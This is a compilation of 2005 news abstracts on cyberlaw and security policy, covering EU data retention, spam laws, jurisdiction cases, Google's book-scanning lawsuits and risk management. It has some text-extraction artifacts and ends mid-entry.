TELECOM COMPANIES REQUIRED TO SAVE LOGS OF E-MAIL, PHONE CALLS UNDER EUROPEAN UNION ANTI-TERROR PLANS

European Union (EU) justice and interior ministers agreed Friday, December 2, on plans that would require telecommunications companies to retain records of phone calls and e-mails for a minimum of six months for use in investigations of terrorism and other serious crimes. Britain's Home Secretary Charles Clarke, who chaired the meeting, said the deal among the 25 European Union nations allowed governments to decide how long telecom companies in their nations should retain the data, as long as it was between six and 24 months. "We have agreed to a system which gives flexibility to member states who want to go further," Clarke told a news conference. Clarke said terrorist groups, drug dealers and people-trafficking gangs would better be targeted under the new rules. Clarke said he was optimistic the European Parliament would adopt the bill later this month -- meaning it could come into force next year. The data-tracking plan was among 12 priority measures EU governments are pushing through in the wake of July attacks on London's transportation system.

Category 48.2 Non-US computer-crime laws

2005-12-14 EU European Parliament anti-terrorism rules phone Internet logs data storage two years

DHS IAIP Daily; http://today.reuters.com/business/newsArticle.aspx?type=tele comm&storyID=nL14475452

EUROPEAN UNION PARLIAMENT APPROVES RULES ON ANTI-TERRORISM DATA

The European Parliament on Wednesday, December 14, adopted new rules drawn up by the European Union (EU) to store phone and Internet data for up to two years to fight terrorism and other serious crime. The measure was approved in record time after being proposed by the European Commission in September, and is part of the 25-nation bloc's response to the terrorist attacks in Madrid in 2004 and in London this year. Britain, holder of the rotating EU presidency, hailed the adoption as a step forward in the fight against terrorism and organized crime. Europe's telecoms and Internet industries issued a joint statement, saying the new rules raised major concerns about technical feasibility and proportionality. "This directive will impose a significant burden on the European e-communications industry, impacting on its competitiveness," the statement said. The industry also said only 20 percent of e-mails would be covered since many service providers were based outside the bloc.

48.3 Non-US intellectual property laws

Category 48.3	Non-US intellectual property laws
2005-05-25	Sweden MPAA ban illegal downloading intellectual property rights violation copyright infringement

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8606639

SWEDEN BANS DOWNLOADING COPYRIGHTED MATERIAL

Responding to pressure from entertainment industry groups, including the Motion Picture Association of America (MPAA), Sweden has made it a crime to download copyrighted material from the Internet. Previously, only uploading copyrighted works was illegal. The new law, which goes into effect July 1, allows consumers to make one copy of CDs for personal use and to copy newspapers. Those found guilty of violating the new law can be fined. The MPAA has said that governments in Scandinavian countries have been reluctant to take action against copyright piracy, though Swedish authorities did conduct a raid in March of this year in which several servers suspected of hosting copyrighted content for downloading were seized. Reuters, 25 May 2005

Category 48.3	Non-US intellectual property laws		
2005-07-11	intellectual property software patents European law		
RISKS; http://tinyurl.	com/7zosm; http://webshop.ffii.org/	23	94
EUROPEAN PARLIAM	MENT REJECTS SOFTWARE PATENT DIRECTIVE		

Pete Mellor writes, "On 6 July 2005, the European Parliament decisively rejected the directive of the European Commission, which would have brought software into the patent system.

For those like me who have followed the argument about software patents over the last many years, this comes as a relief. I was first alerted to the potential damage of software patents many years ago when I heard Richard Stallman talk. He gave another set of seminars in London around two years ago. I find his arguments against software patents totally convincing."

4A3 Jurisdiction

Category 4A3 Jurisdiction

2005-01-26 BlackBerry patent Supreme Court US Canada law legal jurisdiction

NewsScan; http://apnews.excite.com/article/20050126/D87RP7R00.html

WHERE IN THE WORLD IS BLACKBERRY?

The Canadian government has joined the battle of Ontario-based Research in Motion Ltd. (RIM), creators of the BlackBerry, in that firm's decision to defend itself all the way to the U.S. Supreme Court against a patent infringement case brought against it by an Arlington, Virginia, company. RIM claims that since its BlackBerry relay server is based in Canada, U.S. patent laws have no jurisdiction. The Arlington company argues that RIM is using its technology to reap profits in the U.S. and so U.S. patent laws rule. The Court is expected to hear arguments from the two sides in February. (AP 26 Jan 2005)

Category 4A3 Jurisdiction

2005-02-11 Yahoo France Nazi lawsuit court

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-02-11-yahoo-nazi-stuff_x.htm

NAZI MEMORABILIA DECISION SEEN AS VICTORY FOR FREE SPEECH

The 9th U.S. Circuit Court of Appeals announced it will rehear some arguments in a 5-year-old lawsuit against Yahoo by two French human rights groups that want to ban the sale of Nazi-related items on any Internet site viewable in France. Since French law bars the display or sale of racist material, the groups had won a French court order requiring the company to block Internet surfers in France from auctions selling Nazi memorabilia there, but Yahoo kept such memorabilia on its popular U.S.based site, yahoo.com. The two-sentence ruling Thursday does not explain how the judges came to their decision but compels both sides to argue their cases again in front of an 11- judge panel. Yahoo attorney Mary Catherine Wirth says, "If American companies have to worry that foreign judgments entered against them might be enforceable, it could end up with companies censoring their Web sites, but Richard Jones, who represented the French organizations, called the decision "meaningless."(AP/USA Today 11 Fe 2005)

4A4 Blocking

	-		
Category 4A4	Blocking		
2005-06-15	censorship China content filtering Web blog		
RISKS		23	90
MICROSOFT CENSO	DRING BLOGS IN CHINA		
Peter G. Neumann cor	tributed this acerbic little note:		
Microsoft is cooperating with China's government to censor MSN's Spaces Chinese-language Web portal. Bloggers are prevented from posting words such words as *democracy*, *human rights*, and *Taiwan independence*. 5 million blogs have			

been created since the service started on 26 May 2005. China reportedly has 87 million online users. [Source: AP item by Curt Woodward, 14 Jun 2005, seen in the *San Francisco Chronicle*.]

[I wonder whether this issue of RISKS will be blocked because of those OFFENSIVE words? (And I thought *democracy* and *human rights* were DEFENSIVE words?) PGN]

4A7 Spam

Category4.47Spam2005-01-03spam CAN-SPAM review law failure useless legislation authentication

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A44124-2005Jan3.html

CAN-SPAM LAW GETS MIXED REVIEWS

The Can-Spam Act, signed into law on Dec. 16, 2003, was touted as a major weapon in the arsenal aimed against spammongers, but after a year the law has been used against only a few spammers and recent surveys show that Internet users face more spam than ever. In November, a Virginia jury recommended a nine-year jail term for a North Carolina man who earned the dubious distinction of being the first person convicted of felony spamming. (The case had been brought under Virginia's spam law, which is similar to Can-Spam but allows stiffer penalties.) However, despite this minor victory, experts agree that during the past year spam e-mails represent an everincreasing portion of users' e-mail -- up to 75% to 80% now, according to anti-spam firm Postini. The trend has resulted in most major ISPs turning to technology rather than litigation to stem the flow, and each of the four major U.S. e-mail providers is involved in a nationwide effort to develop e-mail "authentication" technology that would make it more difficult for spammers to disguise their messages. "You've got to stop [spam] from getting to the customers' machines," says Dave Baker, VP of law and public policy at Earthlink. "If you're suing a spammer, you're going after them for damage that's already been done. The biggest single element remains technology solutions. None of these companies are relying solely on litigation." (Washington Post 3 Jan 2005)

Category 4A7 Spam

2005-01-20 state Georgia Slam Spam E-mail Act felony law legislation proposal

NewsScan;

http://www.ajc.com/hp/content/auto/epaper/editions/thursday/metro_14fea5c30 687223300a9.html

GEORGIA LEGISLATION WOULD MAKE SPAM A FELONY

Georgia Governor Sonny Perdue has proposed a Slam Spam E-mail Act that would make it a felony to send more than 10,000 misleading e-mails during a 24-hour period, make large sums of money off unsolicited e-mail, or involve juveniles in sending it. Speaking at Earthlink's Atlanta headquarters, Perdue promised, "We're going to clean up spam in Georgia and put our citizens back in control of their online lives." EarthLink chief executive Garry Betty, who hosted Perdue's news conference, said that up to 80 percent of all e-mail is spam. (Atlanta Journal Constitution 20 Jan 2005)

Category 4A7 Spam

2005-02-01 CAN-SPAM law ineffective e-mail statistics failure spam

NewsScan;

http://www.nytimes.com/2005/02/01/technology/01spam.html?hp&ex=11073204 00&en=f7486f68b21cb2cc&ei=5094&partner=homepage

OOPS: 'CAN SPAM ACT' SEEMS TO BE NO-CAN-DO

The Can Spam Act went into effect in January of last year, yet unsolicited commercial e-mail on the Internet is now estimated to account for at least 80% of all e-mail sent -- a figure up from 50-60% percent of all e-mail before the law went into effect. A number of critics of the law had argued that it would make the spam problem worse by effectively giving bulk advertisers permission to send junk e-mail as long as they followed certain rules. Steve Linford, the founder of the UK-based Spamhaus Project, says the law "legalized spamming itself." The law's chief sponsor, Senator Conrad Burns (R- Montana) says the problem isn' t the law but the ineffective enforcement of the law: "As we progress into the next legislative session, I'll be working to make sure the FTC utilizes the tools now in place to enforce the act and effectively stem the tide of this burden." Anne Mitchell of the Institute for Spam and Internet Public Policy comments: "Most people say it's a miserable failure, but I see it as a lawyer would see it. To think that law enforcement agencies can make spam stop right away is silly. There's no such thing as an instant fix in the law." (New York Times 1 Feb 2005)

Category 4.47 Spam 2005-04-04 Florida state spam lawsuits litigation multimillion dollars Tampa spammers Electronic Mail Communications Act CAN-SPAM

DHS IAIP Daily; http://news.com.com/Florida+files+multimilliondollar+spam+s uits/2100-1030_3-5653662.html

FLORIDA FILES MULTIMILLION-DOLLAR SPAM SUITS

The Florida Attorney General's office has filed its first claims under the state's antispam law, charging two men with masterminding a scheme that marketed fraudulent online businesses via e-mail. Florida Attorney General Charlie Crist charged two Tampa residents accused of running an operation that generated over 65,000 deceptive e-mails since 2003, including 48,000 messages sent after the Florida Electronic Mail Communications Act took effect on July 1, 2004. The defendants face up to \$24 million in fines. Like the federal Can-Spam Act, the Florida law prohibits the distribution of unsolicited commercial e-mail that contains false or deceptive subject information, or that is sent from invalid e-mail addresses. Under the law, violators face a penalty of up to \$500 for every illegal e-mail message they send to Florida residents. "Spam is a pervasive and growing threat to unsuspecting computer users everywhere," Crist said in a statement. "The spam itself is illegal, but it is made even worse when it seeks to rip off Florida consumers. Florida's antispam law was adopted precisely to stop operations such as this one."

Category 4A7 Spam

2005-04-13 Florida state victory vs. spammers lawsuit injunction Attorney General Charlie Crist antispam law

DHS IAIP Daily;

http://www.computerworld.com/governmenttopics/government/leg alissues/story/0,10801,101051,00.html?source=NLT_PM&nid=1010 51

FLORIDA WINS INJUNCTION AGAINST SPAMMERS

The state of Florida won its first victory against spam e-mail when a judge granted an injunction against two men accused of running mass e-mailing operations, the state prosecutor said Tuesday, April 12. Florida Attorney General Charlie Crist said the injunction preventing the men from sending any more deceptive e-mails was part of his department's first prosecution under an antispam law passed by the state legislature last year. The e-mails took recipients to Websites that Crist said were engaged in fraudulent or illegal activities, such as selling pharmaceuticals and cigarettes online or providing a platform for the illegal downloading of copyrighted movies. A national antispam law took effect at the start of 2004 but has done little to curb the flood of spam clogging e-mail in-boxes. Spam is estimated to account for more than 80% of all e-mail traffic, costing businesses billions a year in lost productivity and bandwidth.

4B1 Copyrights

Category4B1Copyrights2005-01-14Apple Mac Mini Mac iPod Thinksecret.com suit

NewsScan; http://online.wsj.com/article/0

APPLE SUES STUDENT FOR DIVULGING SECRETS

Nicholas Ciarelli launched what has become one of the most influential Apple-focused Web sites when he was 13 as a hangout for fellow Mac enthusiasts, but his penchant for posting trade secrets has gotten the now-19-year-old Harvard student, who publishes online under the name Nick dePlume, in hot water. Apple filed a lawsuit Jan. 4 against ThinkSecret.com and its unnamed tipsters, charging: "Apple is informed and believes that Defendant Nick dePlume is an individual who uses the pseudonym 'Nick dePlume' but whose true name and identity cannot be confirmed at this time." Apple, known for its highly secretive culture, says it believes ThinkSecret obtains its information by illegally soliciting information about unreleased Apple products from individuals who violate their confidentiality agreements. In fact, on Dec. 28 the site correctly predicted Apple's debut of its \$499 Mac Mini and a low-cost iPod. In response to Apple's accusations, Ciarelli replies, "I didn't do anything wrong. My reporting practices are the same that any journalists use. I talk to sources, I confirm details, I follow up on tips and leads that I get." It will be difficult for Apple to prove that Ciarelli's coverage has violated its trade secrets, says an intellectual property attorney, noting that trade secrets usually refer to the formula behind products, not simply the details about their release. (Wall Street Journal 14 Jan 2005)

Category 4B1	Copyrights
2005-03-12	intellectual property confidentiality instant messaging internet service provider ISP value added network VAN AOL AIM

RISKS; http://www.aim.com/tos/tos.adp	23	79
AOL CLAIMS INTELLECTUAL PROPERTY RIGHTS TO AIM CONTENT		

Alistair McDonalt wrote:

>AOL has changed their Terms of Service for users of their services....

Users of their services, for example AOL Instant Messenger (AIM) in particular should note the details, including: "by posting Content on an AIM Product, you grant AOL, its parent, affiliates, subsidiaries, assigns, agents and licensees the irrevocable, perpetual, worldwide right to reproduce, display, perform, distribute, adapt and promote this Content in any medium".<

Category 4B1 Copyrights

2005-03-16 Microsoft lawsuit Windows XP Office academic discount eBay sale David Zamos intellectual property rights violation

EDUPAGE; http://chronicle.com/prm/daily/2005/03/2005031606n.htm

MICROSOFT AND STUDENT SETTLE OVER SOFTWARE RESALE

Microsoft and David Zamos have reached a settlement in their dispute over Zamos's sale on eBay of Microsoft software he purchased while a student at the University of Akron. After Zamos bought Windows XP Pro and Microsoft Office from the university bookstore, he found he was not permitted to return it, though it was unopened. Zamos, who paid about \$50 for both products because of deep educational discounts, decided to sell the software on eBay, where he sold each for about \$100. The sale prompted Microsoft to file a lawsuit alleging that Zamos improperly benefited from academic pricing, in violation of company policies. Zamos argued that such policies were not explained on the packaging, and he countersued the company, alleging that because of Microsoft's actions and policies, obtaining a refund for software is virtually impossible. Although both parties expressed their satisfaction with the resolution, a confidentiality agreement covering the settlement prevents disclosure of any details. A statement from Microsoft did note, however, that the company will "continue its commitment to protecting those intended to benefit from its academic program,"

suggesting it will continue to look unfavorably on anyone reselling academic purchases. Chronicle of Higher Education, 16 March 2005 (sub. req'd)

Category 4B1 Copyrights 2005-03-18 Agence France Presse AFP lawsuit Google intellectual property rights violation copyright infringement without permission

EDUPAGE; http://news.com.com/2100-1030_3-5626341.html

AGENCE FRANCE PRESSE TAKES GOOGLE TO COURT

Agence France Presse (AFP) has filed a lawsuit against Google in the U.S. District Court for the District of Columbia, alleging that the search engine gives access to AFP headlines, stories, and photographs without proper permission. AFP does not make its content available free online, instead charging users subscription fees to access it. Officials from AFP said they have notified Google about the alleged copyright violations but that Google "continues in an unabated manner to violate AFP's copyrights." AFP is seeking damages of at least \$17.5 million as well as an injunction forbidding Google from displaying further AFP content. CNET, 18 March 2005

Category 4B1 Copyrights

2005-05-23 Google book scanning digitize Library Project Association of American University Presses intellectual property rights violation copyright infringement

EDUPAGE; http://chronicle.com/free/2005/05/2005052301t.htm

GOOGLE UNDER FIRE FOR LIBRARY PROJECT

The Association of American University Presses has become the latest group to voice objections to Google Print for Libraries, a project in which the search engine is scanning some or all of the books in five university and public libraries in the United States and Britain. In a letter to Google, the organization questions the notion that copyright law allows Google to scan copyrighted works into its database, even if only small portions of those texts are available online. Peter Givler, the group's executive director, said that copyright law fundamentally applies to making copies, regardless of what is done with them. The Publishers Association, which represents publishers in England, has also objected to the project, raising many of the same objections as the Association of American University Presses. For its part, Google said it is working with publishers to address their concerns and to make the project beneficial to them as well. Hugh P. Jones, copyright counsel of the Publishers Association, said he has been in contact with Google but that so far the two groups have failed to agree. Chronicle of Higher Education, 23 May 2005

Category 4B1 Copyrights 2005-07-14 Australian copyright infringement music piracy link lawsuit ISP intellectual property rights violation

EDUPAGE; http://news.com.com/2100-1030_3-5788344.html

AUSTRALIAN MAN AND ISP FOUND GUILTY OF LINKING TO PIRATED MUSIC

A court in Australia has found Stephen Cooper guilty of copyright infringement, as well as his Internet service provider (ISP) and several of its employees. Although Cooper did not provide copyrighted music files for download, he did create a Web site that directed users to sites that offered pirated music. Record companies had alleged that Cooper conspired with individuals at Comcen, the ISP named in the suit, to use the site to drive traffic to the ISP, thereby increasing opportunities for advertising revenue. The court agreed, marking the first time in Australia that someone has been convicted for the act of linking to pirated material online. The judge in the case has not yet determined damages. After the verdict, Michael Kerin, general manager of Music Industry Piracy Investigations, hailed the ruling as an important victory in the fight against piracy. "The verdict showed that employees of ISPs who engage in piracy can be seen in the eyes of the court as guilty," he said. CNET, 14 July 2005

Category 4B1 Copyrights

2005-08-01 peer-to-peer P2P intellectual property rights violation copyright infringement music piracy file sharing downloading lawsuits litigation UK Britain BPI

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4735821.stm

BRITISH MUSIC INDUSTRY SUES FILE TRADERS

After reaching settlements with more than 60 alleged illegal file traders, the British Phonographic Industry (BPI) has filed civil charges against five individuals who reportedly refused to settle with the organization, according to Geoff Taylor, BPI general counsel. In March, a British court ruled that Internet service providers must disclose the names of those accused of copyright violations to the BPI. The suit alleges that the five defendants shared a total of nearly 9,000 songs on the Internet. "We will be seeking an injunction and full damages for the losses they have caused," said Taylor, "in addition to the considerable legal costs we are incurring as a result of their illegal activity." Although growing numbers of computer users are taking advantage of legal online music services, the BPI said it will continue efforts to prosecute illegal file traders. BBC, 1 August 2005

Category 4B1 Copyrights 2005-08-12 Google book scanning digitization Library project intellectual property rights violation copyright infringement AAP

EDUPAGE; http://chronicle.com/free/2005/08/2005081201t.ht

GOOGLE MODIFIES LIBRARY PROJECT

Google has announced some changes to its Library Project following vocal criticism from a number of publishers. Under the terms of the project, Google made arrangements with five major libraries to scan some or all of their books, posting at least a portion of each book in an online repository for public access. Publishers complained that making such electronic copies of copyrighted works--regardless of whether they are put online--violates the rights of the copyright holder. Google now says it will not scan any book that a publisher specifically asks to be exempted, and it will not scan any copyrighted books until November, giving publishers time to review titles they might want excluded. Publishers appeared unmoved, however, with the Association of American Publishers (AAP) saying that Google's new plan "places the responsibility for preventing infringement on the copyright owner rather than the user." Peter Givler of the Association of American University Presses echoed the AAP's dissatisfaction with the changes to the project. He was glad that Google is trying to address publishers' concerns but said of the new policy that it "doesn't seem to me that it gets us very far." Chronicle of Higher Education, 12 August 2005

Category 4B1 Copyrights

2005-08-31 Google book scanning digitization project intellectual property rights violation copyright infringement lawsuits litigation

EDUPAGE; http://www.internetnews.com/xSP/article.php/3531221

GOOGLE PRESSES FORWARD SCANNING BOOKS

Google is moving ahead with its plans to digitize vast numbers of books and make them available online. The search engine this week expanded its book search service to 14 countries, including the United Kingdom, Canada, India, New Zealand, South Africa, and Australia, where users can now search English-language books. Although laws in each country dictate small differences in how the service works, according to Jim Gerber, director of content partnerships, in all countries the service offers three types of results: for books in the public domain, the entire text is available online; copyrighted works whose publishers have signed agreements with Google are available to the extent that those agreements allow; for copyrighted books whose publishers have not made agreements with Google, only selected portions will be available online. This last group of results has raised the ire of publishers the opportunity to identify specific titles that will be excluded from the service, but most publishing groups have said that approach is inherently backwards, giving Google blanket authority until and unless publishers complain. Internet News, 31 August 2005

Category 4B1 Copyrights

2005-09-02lawsuit litigation intellectual property rights violation copyright infringement
graduate student paper sale vendor Website

EDUPAGE; http://www.insidehighered.com/news/2005/09/02/papers

STUDENT SUES ONLINE TERM-PAPER VENDORS

A graduate student has filed a lawsuit charging three online vendors of term papers with selling a paper she wrote without her permission. Blue Macellari is currently pursuing graduate degrees at Johns Hopkins University and Duke University. The paper in question, which was written when she was a student at Mount Holyoke College, was posted on Macellari's personal Web page in 1999 but turned up for sale on DoingMyHomework.com, FreeforEssays.com, and FreeforTermPapers.com, all of which are owned by an Illinois company called R2C2. Macellari said she did not give her permission to use the paper, which itself could violate honor codes at Johns Hopkins and Duke. John Palfrey, law professor at Harvard University and executive director of the Berkman Center for Internet and Society, said that the defendants will have difficulty prevailing if Macellari's complaint is accurate. On the question of whether the action would have an appreciable effect on the sale of papers online, Palfrey was less optimistic. Comparing Macellari's lawsuit to similar actions to limit spam, he noted that spam continues to grow unabated. "It's hard to bring enough spam lawsuits to make a big difference," he said. Inside Higher Ed, 2 September 2005

Category 4B1Copyrights2005-09-21intellectual property rights violation copyright infringement Google book scanning
project lawsuit litigation Authors Guild

EDUPAGE; http://news.com.com/2100-1030_3-5875384.html

AUTHORS GUILD TAKES GOOGLE TO COURT

The latest challenge to Google's Print Library Project has come in the form of a lawsuit from the Authors Guild. Since Google announced its initiative to scan millions of books in several academic and public libraries and put those materials--or portions of them--online, the search engine has been roundly criticized by publishers and others who say the entire project represents copyright infringement. Nick Taylor, president of the Authors Guild, said, "It's not up to Google or anyone other than the authors, the rightful owners of these copyrights, to decide whether and how their works will be copied." Google continues to assert that it respects copyright and that the project does not violate copyright laws. Moreover, Google contends that the project will be a boon for publishers due to the broad exposure that scanned books will have online. Plaintiffs, who are seeking class action status for their suit, are asking the courts for damages and an injunction against scanning the texts in question. CNET, 21 September 2005

Category 4B1 Copyrights

2005-10-03 Yahoo intellectual property rights copyright book scanning project Open Content Alliance Internet Archive

EDUPAGE; http://chronicle.com/free/2005/10/2005100301t.htm

YAHOO ANNOUNCES BOOK-SCANNING PROJECT

Yahoo has announced a plan to scan large collections of texts into an online digital archive, though officials said their approach differs in important ways from Google's similar venture, which has drawn extensive criticism and legal action. Yahoo's initiative, called the Open Content Alliance (OCA), represents a partnership with the University of California, the University of Toronto, the Internet Archive, and several other companies and organizations. Unlike Google's project, they will not scan any copyrighted work without explicit permission. Organizers of the project said the goal is to digitize and make freely available as much of what is in the public domain as possible. In addition, the archive will not be restricted to users of Yahoo. David Mandelbrot, Yahoo's vice president for search content, said the texts will be online in such a way that other search engines will be able to locate them. Much of the scanning for the OCA will be done by the Internet Archive, which has already been working with the University of Toronto on scanning several thousand books in its collection. Chronicle of Higher Education, 3 October 2005

Category 4B1 Copyrights 2005-10-07 Google intellectual property rights violation copyright infringement book scanning project

EDUPAGE; http://chronicle.com/daily/2005/10/2005100701t.htm

AUTHOR AND PUBLISHER PULL BOOKS FROM GOOGLE

Google's controversial program to scan millions of books has run afoul of a very prolific author and his publisher. Jacob Neusner, a research professor of theology at Bard College, has written more than 900 books. Calling Google's book-scanning project a violation of copyright, Neusner requested that his books not be included in the database. Google's response was that Neusner must submit a separate form for each book he wanted excepted from the project. Siding with Neusner, the Rowman & Littlefield Publishing Group, which has published many of Neusner's titles, then told Google it wanted all of its titles excluded from the project as well. Calling the scanning project "unfair and arrogant," Jed Lyons, president of Rowman & Littlefield, said, "[W]e don't want to do business with an organization that thumbs its nose at publishers and authors." Lyons said representatives from Google are trying to persuade the publisher to change its decision. Chronicle of Higher Education, 7 October 2005 (sub. Req'd)

Category 4B1 Copyrights 2005-10-25 Microsoft Yahoo book project Internet archive intellectual property rights copyright Open Source Alliance

EDUPAGE; http://news.zdnet.com/2100-9588_22-5913711.html

MICROSOFT JOINS YAHOO BOOK PROJECT

Microsoft has said it will participate in a recently announced book-scanning project led by Yahoo and the Internet Archive. Unlike Google's much-maligned project, the Yahoo initiative, called the Open Content Alliance, will only scan books that are in the public domain or for which explicit permission has been granted by the copyright holder. In contrast, Google will scan copyrighted books unless copyright holders specifically request that their books be excluded, though only small portions of copyrighted books will be available online. For its part, Microsoft will finance the scanning of about 150,000 books, while Yahoo will pay for about 18,000 books to be digitized. The Open Content Alliance also differs from Google's project in that all of the content from the alliance will be available from a database to any search engine; Google will be the only means to access the content of its project. Microsoft will create an MSN Book Search service next year, though the business model for particular services and fees has not been set, according to Danielle Tiedt, general manager of search content acquisition at MSN. ZDNet, 25 October 2005

Category 4B1Copyrights2005-10-29intellectual property rights violation copyright infringement Google book scanning
project lawsuit litigation court damages

EDUPAGE; http://news.bbc.co.uk/2/hi/business/4358768.stm

MORE SUITS TARGET GOOGLE'S BOOK SCANNING PROJECT

After failing to reach an agreement during several months of negotiations, a group of five publishers has filed a lawsuit against Google over its book-scanning project. The project has come under fire since it was announced, with publishers and copyright holders arguing that scanning their texts constitutes a violation of their copyright, regardless of whether the digital copy is made available online in its entirety. Penguin, McGraw-Hill, Pearson Education, Simon and Schuster, and John Wiley and Sons have sued Google, seeking to have the project cancelled. The publishers are asking for Google to pay court costs but not damages. All five are members of the Association of American Publishers, which had been in talks with Google for months. Last month, an organization representing writers sued Google over the book-scanning project. Google continues to maintain that it respects the rights of publishers and copyright holders and that the project will bring wider exposure for the scanned text. BBC, 19 October 2005

Category 4B1 Copyrights

2005-11-22 Internet Web plagiarism copyright infringement intellectual property rights violations UK British government parents teachers children

EDUPAGE; http://news.bbc.co.uk/2/hi/uk_news/education/4460702.stm

THE INTERSECTION OF TECHNOLOGY AND CHEATING

An expert in the impact of technology on teaching and learning has told the British government that parents and teachers--not technology tools--can effectively address the problem of Internet cheating. Following a report from the Qualifications and Curriculum Authority that identified widespread cheating, government officials sought advice from Jean Underwood, professor at Nottingham Trent University, about solutions to students' using technology to cheat. Underwood acknowledged that the line between providing appropriate assistance to a student and facilitating cheating is not always clearly defined, and she noted that some technologies can help examiners easily identify instances of plagiarism. But students, she said, will forever be able to find ways to circumvent technology that screens for cheating. The real solution will be to change student attitudes toward their work, making them understand the value of doing it themselves and genuinely learning the material. BBC, 22 November 2005

4B2 Patents

Category 4B2 Patents

2005-12-19 NTP RIM Blackberry patent review infringement lawsuit court case e-mail rejection

EDUPAGE; http://www.nytimes.com/2005/12/20/technology/20rim.html

PATENT OFFICE EXPECTED TO REJECT NTP PATENTS

The U.S. Patent and Trademark Office notified NTP, a patent holding company, and Research in Motion (RIM), maker of the BlackBerry wireless e-mail device, that it expects to reject the five patents held by NTP. The two companies are involved in a patent infringement lawsuit brought by NTP. The patent office had issued preliminary rejections of the e-mail patents in the past, but speeded its review process in response to a request by RIM. The patent review is separate from the patent infringement lawsuit, which could potentially stop most BlackBerry service in the United States. NTP expects to appeal the final patent rulings, a process that could take several years.

4C1 Paradigms, security standards

Category 4C1	Paradigms, security standards
2005-02-28	National Institute of Standards and Technology NIST security guidelines release Federal Information Security Management Act FISA

DHS IAIP Daily;

http://news.com.com/NIST+releases+final+security+guidelines/ 2100-7348_3-5593256.html?tag=nefd.top

NIST RELEASES FINAL SECURITY GUIDELINES.

A final version of security guidelines designed to protect federal computer systems and the information they hold was released Monday, February 28, by the National Institute of Standards and Technology (NIST). The guidelines will serve as a road map for federal agencies in meeting mandates set by the Federal Information Security Management Act (FISA). Government agencies will be required to have certain security controls, policies and procedures in place. At the heart of the initiative is an effort to protect the confidentiality, integrity and availability of all federal information systems that are not part of the national security system. The security controls in the new NIST guidelines span 17 key areas, ranging from user identification to authentication to risk assessment. Guidelines: http://csrc.nist.gov/publications/nistpubs/800-53/SP800-53.p df

Category 4C1 Paradigms, security standards

2005-12-15 IT costs laws compliance budgets corporate governance study Sarbanes-Oxley SOX

EDUPAGE; http://news.zdnet.com/2100-9595_22-5996670.html

MEETING COMPLIANCE LAWS RAISES IT COSTS

According to a recent Gartner study, laws on corporate governance and compliance, such as the U.S. Sarbanes-Oxley Act, force businesses to spend more on information technology. The report predicts increases in IT budgets from 10 to 15 percent in 2006, up from roughly 5 percent in 2004. The survey included 326 audit, finance, and IT professionals in North America and Western Europe. Gartner recommended solutions that can support multiple regulations across a business to maximize effectiveness on spending for compliance.

4C2 Risk management methodology & tools

Category 4C2	Risk management methodology & tools		
2005-01-19	risk analysis terrorism politics propaganda rationality fear hys	teria	
RISKS		23	68
SCHNEIER ON THE	ILLUSION OF SECURITY		

Curt Sampson published a review of an interesting article in ATLANTIC MONTHLY in January/February 2005. [That article extensively quoted noted security expert Bruce Schneier.] Mr Sampson's review follows:

In the January/February 2005 issue of _The Atlantic Monthly_ there is an article by James Fallows entitled "Success Without Victory," discussing risk management as it applies to the war on terror.

One key point is that there are people out there who, in the tradition of RISKS readers themselves, take a sensible and scientific approach to the war on terror, seeing it as an exercise in risk management rather than something that can be "won," causing all of the risks to go away:

There will always be a threat that someone will blow up an airplane or a building or a container ship.... But while we have to live in danger, we don't have to live in fear. Attacks are designed to frighten us even more than to kill us. So let's refuse to magnify the damage they do. We'll talk about the risk only when that leads to specific ways we can make ourselves safer. Otherwise we'll just stop talking about it, as we do about the many other risks and tragedies inevitable in life.

We cannot waste any more time on make-believe....measures that seem impressive but do not make us safer, such as national threat-level warnings and pro forma ID checks. The most damaging form of make-believe is the failure to distinguish between destructive but not annihilating kinds of attack we can never eliminate but can withstand and the two or three ways terrorist groups could actually put our national survival in jeopardy. We should talk less about terrorism in general and more about the few real dangers.

Screening lines at airports are perhaps the most familiar reminder of post-9/11 security. They also exemplify what's wrong with the current approach. Many of the routines and demands are silly, eroding rather than building confidence in the security regime of which they are part.

[Daniel] Prieto argues that the roughly \$4 billion now going strictly toward airline passengers could make Americans safer if it were applied more broadly in transportation -- reinforcing bridges, establishing escape routes from tunnels, installing call boxes, mounting environmental sensors, screening more cargo. All these efforts combined now get less than \$300 million a year, which will drop to \$50 million next year.

Where the article gets really interesting, however, is in pointing out the political barriers to doing the rational thing from a riskanalysis point of view. For example, spending less on airline security in order to spend more on land and water transportation:

Rationally, this is an easy tradeoff: less routine screening of passengers who don't call out for special attention (watch lists, travel and spending patterns, and other warning mechanisms can be improved), in exchange for more and faster work to reduce the vulnerabilities of bridges, tunnels, and ports. In wartime a commander would easily make such a decision to protect his troops. But politically this decision is almost impossible. Such a tradeoff would make it likelier that some airplane, somewhere, would be blown up. If that happened, whoever had recommended the change would be excoriated -- even if more people had been spared equally gruesome fates in subways or near ports.

And even examples of where this is already happening:

[Terror and counter-insurgency experts] understand that this struggle will be with us for a very long time, that success will mean reducing rather than absolutely eliminating the threat of attacks, and that because there is no enemy government or army to surrender, there can be no clear-cut moment of victory. "Ironically, when President Bush said this in the campaign, he was immediately jumped upon," Jenkins said. "It was a moment of truth for which he was promptly punished. Senator Kerry had a similar moment, when he said that the objective was to reduce terrorism to no more than a nuisance. Conceptually that was quite accurate, even if it was not the most felicitous choice of words. And he was punished too. In a campaign with a great deal of nonsense about the threat of terrorism, these two moments of truth were mightily punished, and the candidates had to back away and revert to the more superficial and less supportable assertions."

The article goes on with some general and specific recommendations for improving the security of America against terror attacks.

The approach will be nothing new to RISKS readers, though the details may be. But I find it very hopeful that articles like this are appearing in general interest magazines rather than just specialized forums like this.

Category 4C2	Risk management methodology & tools
2005-02-10	proposed legislation security measures identification authentication I&A law enforcement risk management propaganda hysteria terrorism privacy

RISKS; http://www.house.gov/paul/congrec/congrec2005/cr020905.htm 23 71

RISK MANAGEMENT AND TERRORISM

Larry Sudduth commented in RISKS that few congresscritters (MK's word) seem to understand risk management. He was pleased to report on one who apparently does.

H.R. 418, the "Immigrants ID bill" or "REAL ID Act of 2005," is advertised in part as establishing and rapidly implementing "regulations for State driver's license and identification document security standards, to prevent terrorists from abusing the asylum laws of the United States, to unify terrorism-related grounds for inadmissibility and removal." (See http://thomas.loc.gov/cgi-bin/bdquery/z?d109:h.r.00418:)

